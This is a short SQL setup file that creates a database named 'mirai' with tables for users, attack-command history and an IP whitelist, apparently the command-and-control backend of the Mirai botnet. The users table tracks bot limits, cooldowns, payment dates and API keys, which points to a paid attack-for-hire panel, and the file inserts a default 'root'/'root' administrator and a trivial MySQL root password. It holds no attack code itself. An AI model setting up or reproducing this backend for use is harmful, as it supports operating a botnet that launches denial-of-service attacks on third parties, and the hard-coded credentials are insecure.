db.sql

CREATE DATABASE mirai;

USE mirai;

CREATE TABLE `history` (
	`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
	`user_id` int(10) unsigned NOT NULL,
	`time_sent` int(10) unsigned NOT NULL,
	`duration` int(10) unsigned NOT NULL,
	`command` text NOT NULL,
	`max_bots` int(11) DEFAULT '-1',
	PRIMARY KEY (`id`),
	KEY `user_id` (`user_id`)
);

CREATE TABLE `users` (
	`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
	`username` varchar(32) NOT NULL,
	`password` varchar(32) NOT NULL,
	`duration_limit` int(10) unsigned DEFAULT NULL,
	`cooldown` int(10) unsigned NOT NULL,
	`wrc` int(10) unsigned DEFAULT NULL,
	`last_paid` int(10) unsigned NOT NULL,
	`max_bots` int(11) DEFAULT '-1',
	`admin` int(10) unsigned DEFAULT '0',
	`intvl` int(10) unsigned DEFAULT '30',
	`api_key` text,
	PRIMARY KEY (`id`),
	KEY `username` (`username`)
);

CREATE TABLE `whitelist` (
	`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
	`prefix` varchar(16) DEFAULT NULL,
	`netmask` tinyint(3) unsigned DEFAULT NULL,
	PRIMARY KEY (`id`),
	KEY `prefix` (`prefix`)
);

INSERT INTO users VALUES (NULL, 'root', 'root', 0, 0, 0, 0, -1, 1, 30, '');

ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'password';